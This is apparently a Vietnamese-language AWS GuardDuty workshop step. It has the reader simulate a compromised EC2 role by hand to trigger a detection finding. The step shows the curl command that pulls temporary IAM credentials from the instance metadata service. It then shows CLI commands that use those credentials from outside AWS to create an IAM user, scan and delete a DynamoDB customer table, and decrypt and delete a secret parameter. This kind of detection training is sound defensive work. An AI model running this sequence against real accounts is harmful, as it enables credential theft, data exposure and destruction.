Tạo ra Finding một cách thủ công
Các cuộc tấn công giả lập và Findings sẽ được tự động tạo ra từ CloudFormation Template, ngoài trừ một Finding. Đối với Finding này, bạn sẽ cần phải làm một số bước cụ thể như:
Để tạo ra Finding này, chúng ta phải thực hiện gọi API đến từ bên ngoài hệ thống mạng của AWS.
Nội dung
Để tiến hành giả lập cuộc tấn công cuối cùng này, bạn cần phải truy xuất thành công IAM security credential tạm thời được sinh ra bởi IAM role thuộc EC2 instance. Chúng ta có thể thử 1 trong 2 cách sau:
GuardDuty-Example: Compromised Instance: Scenario 3
với trạng thái SSM Agent ping status là Online
.Instance actions
và chọn Start Session
.curl http://169.254.169.254/latest/meta-data/iam/security-credentials/GuardDuty-Example-EC2-Compromised
Sau khi thành công truy xuất IAM security credential tạm thời, chúng ta sẽ tiến hành tạo một AWS CLI Profile trên máy tính cá nhân. Từ Terminal/CMD/PowerShell, chúng ta tiến hành thay thế các <PLACEHOLDER>
với giá trị cụ thể đã thu thập, sau đó thực hiện nhập các lệnh sau:
aws configure set profile.badbob.region us-west-2
aws configure set profile.badbob.aws_access_key_id <ACCESS_KEY_ID>
aws configure set profile.badbob.aws_secret_access_key <SECRET_ACCESS_KEY>
aws configure set profile.badbob.aws_session_token <SESSION_TOKEN>
Chúng ta có thể kiểm tra xem nếu Profile đã được tạo hay chưa bằng việc truy cập đến nơi chứa các AWS security credentials.
Chúng ta có thể sử dụng câu lệnh sau để tiến hành kiểm tra nhanh xem đã có AWS CLI Profile tên là badbob
hay chưa.
aws configure --profile badbob
Bằng các câu lệnh AWS CLI dưới đây, chúng ta tiến hành thực hiện gọi API đến những dịch vụ AWS khác nhau.
IAM user có bất kỳ quyền hạn nào?
aws iam get-user --profile badbob
aws iam create-user --user-name Chuck --profile badbob
Liệu có quyền truy cập đến DynamoDB?
aws dynamodb list-tables --profile badbob
aws dynamodb describe-table --table-name GuardDuty-Example-Customer-DB --profile badbob
Liệu có quyền truy vấn dữ liệu đến DynamoDB?
aws dynamodb scan --table-name GuardDuty-Example-Customer-DB --profile badbob
aws dynamodb put-item --table-name GuardDuty-Example-Customer-DB --item '{"name":{"S":"Joshua Tree"},"state":{"S":"Michigan"},"website":{"S":"https://www.nps.gov/yell/index.htm"}}' --profile badbob
aws dynamodb scan --table-name GuardDuty-Example-Customer-DB --profile badbob
aws dynamodb delete-table --table-name GuardDuty-Example-Customer-DB --profile badbob
aws dynamodb list-tables --profile badbob
Liệu có thể truy cập đến System Manager Parameter Store?
aws ssm describe-parameters --profile badbob
aws ssm get-parameters --names "gd_prod_dbpwd_sample" --profile badbob
aws ssm get-parameters --names "gd_prod_dbpwd_sample" --with-decryption --profile badbob
aws ssm delete-parameter --name "gd_prod_dbpwd_sample" --profile badbob